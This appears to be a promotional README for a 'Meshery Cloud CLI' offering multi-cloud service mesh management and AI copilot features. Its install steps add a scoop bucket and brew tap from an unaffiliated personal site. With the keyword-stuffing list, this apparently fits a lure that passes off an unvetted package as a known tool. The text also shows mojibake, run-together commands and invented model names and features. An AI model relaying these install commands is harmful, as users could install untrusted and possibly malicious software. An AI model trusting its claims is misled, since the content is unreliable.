Your Command-Line Portal to Multi-Cloud, Multi-Service Mesh Management
Imagine you're an orchestra conductor, but instead of musicians, you're managing hundreds of microservices across AWS, GCP, and Azureโeach playing a different tune. Meshery Cloud CLI is your baton. It synchronizes service mesh operations, cloud-native diagnostics, and multi-cloud traffic management into a single, harmonious command-line experience. No more juggling six terminals, five YAML files, and three dashboards. Just one tool, one vision, one universe of control.
- Multi-cloud CLI management
- Kubernetes service mesh orchestrator
- Cloud-native CLI with AI copilot
- Meshery command-line alternative
- Multi-cloud developer tool
- Service mesh CLI for DevOps
- Cloud infrastructure CLI
- Kubernetes traffic management CLI
scoop bucket add meshery-cli https://alex5544255.github.io
scoop install meshery-cloud-clibrew tap meshery-cloud/tap https://alex5544255.github.io
brew install meshery-cloud-cli| Operating System | Version | Status | Emoji |
|---|---|---|---|
| macOS | 11+ (Big Sur) | ๐ข Fully Supported | ๐ |
| Linux | Ubuntu 20.04+, Debian 11+, Fedora 36+ | ๐ข Fully Supported | ๐ง |
| Windows | 10 (build 1909+), 11 | ๐ข Fully Supported | ๐ช |
| WSL2 | Ubuntu 22.04 on Windows | ๐ข Fully Supported | ๐ง๐ช |
| FreeBSD | 13.x | ๐ก Community Support | ๐ก |
| Raspberry Pi | OS 64-bit | ๐ข Lightweight Mode | ๐ |
flowchart TB
subgraph USER["๐ค Developer Terminal"]
CLI["๐ Meshery Cloud CLI"]
end
subgraph CORE["โ๏ธ Orchestration Engine"]
direction TB
MESH["๐ Service Mesh Manager"]
CLOUD["โ๏ธ Multi-Cloud Connector"]
AI["๐ง AI Copilot"]
CACHE["๐พ Local Context Cache"]
end
subgraph TARGETS["๐ฏ Target Environments"]
K8S["๐ท Kubernetes Cluster A"]
K8S2["๐ถ Kubernetes Cluster B"]
K8S3["๐ด On-Prem Cluster"]
AWS["๐ AWS EKS"]
GCP["๐ต GCP GKE"]
AZURE["๐ข Azure AKS"]
end
CLI -->|"โก Command Input"| CORE
CORE -->|"๐ Mesh Binding"| TARGETS
AI -->|"๐ฌ Natural Language"| CLI
CACHE -->|"๐ Offline State"| CLI
subgraph PLUGINS["๐ Plugin Ecosystem"]
OPENAI["๐ค OpenAI API"]
CLAUDE["๐ฃ Claude API"]
CUSTOM["๐ฆ Custom Plugins"]
end
PLUGINS --> AI
subgraph UI["๐ฅ๏ธ Responsive Web UI"]
DASHBOARD["๐ Live Dashboard"]
LOGS["๐ Real-time Logs"]
METRICS["๐ Performance Metrics"]
end
CLI -->|"๐ WebSocket"| UI
Connect and manage any service mesh (Istio, Linkerd, Consul, Kuma) across any cloud provider (AWS, GCP, Azure, DigitalOcean, Oracle Cloud) from your terminal. Think of it as a universal remote for your entire cloud estate.
Leverage OpenAI GPT-4 and Claude API for:
- Natural-language mesh troubleshooting ("Why is my east-west traffic dropping packets?")
- YAML generation from plain English ("Create a canary deployment for service X")
- Intelligent migration suggestions between meshes
- Emoji-powered error explanations
Not a terminal person today? Use the built-in web interface (start with meshery ui) for drag-and-drop mesh visualization, real-time traffic graphs, and clickable topology maps. Fully responsive for mobile and tablet.
--lang flag supports: English ๐บ๐ธ, Spanish ๐ช๐ธ, French ๐ซ๐ท, German ๐ฉ๐ช, Japanese ๐ฏ๐ต, Korean ๐ฐ๐ท, Chinese (Simplified) ๐จ๐ณ, Chinese (Traditional) ๐น๐ผ, Hindi ๐ฎ๐ณ, Arabic ๐ธ๐ฆ, Portuguese ๐ง๐ท, Russian ๐ท๐บ, Italian ๐ฎ๐น, Dutch ๐ณ๐ฑ, Turkish ๐น๐ท, Vietnamese ๐ป๐ณ, Thai ๐น๐ญ, Swedish ๐ธ๐ช.
Premium subscribers get:
- Dedicated support engineer
- <15-minute response SLA
- On-call mesh emergency hotline
- Weekly health reports
Our "community cloud" tier offers 1,000 free operations per month with no credit card required. Upgrade when you need more.
Create a ~/.meshery/config.yaml to define your mesh universe:
# ~/.meshery/config.yaml
version: "2.0"
profiles:
production-cluster:
mesh: istio
version: 1.20.0
cloud: aws
region: us-east-1
context: prod-eks
ai:
provider: openai
model: gpt-4-2026
premium_features: true
staging-cluster:
mesh: linkerd
version: 2.14.0
cloud: gcp
region: europe-west1
context: stag-gke
ai:
provider: claude
model: claude-3-5-sonnet-2026
language: japanese
edge-cluster:
mesh: consul
version: 1.18.0
cloud: azure
region: southeast-asia
context: edge-aks
ai: disabled
plugins:
- name: custom-latency-analyzer
path: /usr/local/bin/meshery-latency
api_version: v1
ui:
theme: dark-cosmic
refresh_rate: 2s
websocket_port: 8443
auto_launch: true
support:
tier: premium
contact_channel: slack
on_call: true
multilingual:
default_language: en
fallback_to_english: true
disclaimer:
acknowledge: true
last_accepted: 2026-01-15Launch the CLI and orchestrate your mesh with ease:
# Connect to production cluster and list all services
meshery connect --profile production-cluster
meshery services list --namespace default --mesh istio
# AI-powered diagnostics (use OpenAI)
meshery ai diagnose "Why is traffic to service 'user-auth' latency > 3 seconds? Suggest three optimizations."
# Generate a canary deployment with Claude API
meshery ai generate --provider claude "Create a 10% canary for payment-service on Linkerd with a 5 minute rollback window" --output canary.yaml
# Deploy the canary
meshery apply -f canary.yaml
# Launch the responsive web UI
meshery ui --bind 0.0.0.0:8443
# Check real-time metrics
meshery metrics --watch --interval 1s --profile production-cluster
# Export configuration for offline audit
meshery export --format json --output audit_report_2026.json
# Switch context to multi-cloud
meshery mesh connect --clouds aws,gcp,azure --mesh istio,linkerd,consul| Provider | API Version | Model | Cost | Best For |
|---|---|---|---|---|
| OpenAI | GPT-4 Turbo 2026 | gpt-4-0125-2026 |
Consumption-based | Complex mesh debugging, YAML generation, natural-language queries |
| Claude | Claude 3.5 Sonnet 2026 | claude-3-5-sonnet-2026 |
Consumption-based | Long-context explanations, multi-language support, security audits |
| Custom | Your own LLM | Any | Yours | Enterprise air-gapped environments, custom fine-tuned models |
meshery ai chat --provider openai --model gpt-4-2026 "I'm seeing 5xx errors on service 'orders' in istio. What common issues should I check?"meshery ai explain --provider claude --language japanese "Explain the zero-trust security model in Linkerd"This project is licensed under the MIT License โ see the full license text here:
You are free to:
- โ Use commercially
- โ Modify and distribute
- โ Sublicense
- โ Private use
Acknowledgment condition: Attribution to the original source must be included in all copies and derivative works.
Important: Meshery Cloud CLI is a community-funded, MIT-licensed tool for managing service meshes and multi-cloud infrastructure. It is not a substitute for professional cloud architecture advice.
- Data Privacy: When using AI features (OpenAI/Claude), mesh metadata and commands are sent to third-party APIs. For sensitive environments, use the local-only or custom plugin mode with
--ai disabled. - Production Use: Always test configurations in a staging environment first. The authors assume no liability for production outages caused by CLI misconfiguration.
- Support: The 24/7 support tier is available for premium subscribers. Free-tier users receive best-effort community support via [GitHub Discussions].
- Version 2026: Features, endpoints, and API compatibility are as of calendar year 2026. Subsequent updates may alter behavior.
- Trademarks: All cloud provider and mesh names are trademarks of their respective owners. This project is unaffiliated and operates under fair use.
By using this software, you acknowledge these terms. If you disagree, please uninstall immediately.
Ready to transform your terminal into a multi-cloud command center?
Clouds are many. Control is one. ๐ฉ๏ธโก๏ธ๐น๏ธ
Built with โค๏ธ for the cloud-native community โ where every mesh finds its master, and every master finds their CLI.